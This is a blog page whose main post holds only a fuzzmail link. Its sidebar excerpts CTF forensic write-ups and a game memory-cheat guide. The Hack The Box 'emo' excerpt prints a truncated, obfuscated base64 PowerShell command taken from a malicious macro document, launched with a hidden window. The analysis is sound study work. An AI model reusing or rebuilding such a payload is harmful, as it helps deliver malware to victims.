Skip to main content

The Avenger

Search This Blog

Fun with Fuzzmail

January 09, 2009

Get link
Facebook
Twitter
Pinterest
Email
Other Apps

Anonymous Informant has sent you a fuzzmail! To see it, visit this URL in your web browser:
http://www.fuzzmail.org/mail/12315026457287049.html

misc

Get link
Facebook
Twitter
Pinterest
Email
Other Apps

Comments

Post a Comment

Popular Posts

Root Me - Ugly Duckling - Forensic Challenge - Write-up

Challenge Link: https://www.root-me.org/en/Challenges/Forensic/Ugly-Duckling We're a given a file that we need to analyse. Initial analysis with the file, exiftool, foremost and binwalk did not show anything interesting. So I decided to look up the root-me forums regarding this challenge. I found this: https://www.root-me.org/?page=forum&id_thread=7300&lang=en#forum10458 . Apparently, it refers to a Rubber Ducky USB . Threfore, it must be the compiled script. So, I just need to decompile it. A quick Google search led me to this: https://ducktoolkit.com/ . But that did not work. And then I found this: https://github.com/hak5darren/USB-Rubber-Ducky/blob/master/Decode/ducky-decode.pl . Now it works. Seems like it is executing a malicious code.... Googled about the 'enc' parameter of powershell and found this: https://artofpwn.com/offensive-and-defensive-powershell-ii.html . So it is in base64 encoding. Decoding... The binary file down

Hacking Deadbolt game with Cheat Engine

Infinite Souls to buy all weapons Credits: steampowered.com Requirements: Deadbolt 2.0.0.3 (other versions might work) Cheat Engine Steps: Open Deadbolt game Open Cheat Engine Choose Deadbolt game process in Cheat Engine Enter number of souls in Cheat Engine Set value type as Double Press First Scan Complete a mission Enter new number of souls Press Next Scan Double-click found address Double-click the address in memory view Change value to 999 then press the Activate button (I forgot to press that) You should have infinite 999 souls now You can now go to the docks and buy all weapons Have fun!

Hack The Box - emo - Forensics Challenge - Write-up

We were given a file. "emo.doc". Opening the file, I found some macros. The file looks suspicious. So I tried to see if anyone uploaded it somewhere on the internet. (cos I don't want to run it). Sure enough. It was uploaded on Any.run https://app.any.run/tasks/aeeecf73-6f18-40e2-9c13-83dabee031d2/. I found that it is running an encoded Powershell code. POwersheLL -windowstyle hidden -ENCOD IABTAFYAIAAgADAAegBYACAAKABbAFQAeQBQAGUAXQAoACIAewAyAH0AewAwAH0AewA0AH0AewAzAH0AewAxAH0AIgAtAGYAIAAnAGUAJwAsACcAcgBFAEMAdABvAHIAWQAnACwAJwBzAFkAcwB0ACcALAAnAC4ASQBPAC4AZABJACcALAAnAE0AJwApACAAIAApACAAOwAgACAAIABzAGUAdAAgACAAVAB4AHkAUwBlAG8AIAAgACgAIAAgAFsAVABZAHAAZQBdACgAIgB7ADAAfQB7ADcAfQB7ADUAfQB7ADYAfQB7ADQAfQB7ADIAfQB7ADEAfQB7ADgAfQB7ADMAfQAiAC0ARgAnAFMAWQBzAFQARQAnACwAJwBUAE0AJwAsACcASQBOACcALAAnAEUAUgAnACwAJwBwAE8AJwAsACcATgBlAFQALgBzAGUAJwAsACcAUgBWAEkAQwBFACcALAAnAE0ALgAnACwAJwBBAE4AYQBHACcAKQApACAAOwAgACAAJABOAGIAZgA1AHQAZwAzAD0AKAAnAEIAOQAnACsAJwB5AHAAJwArACgAJ

Advertisement

Powered by Blogger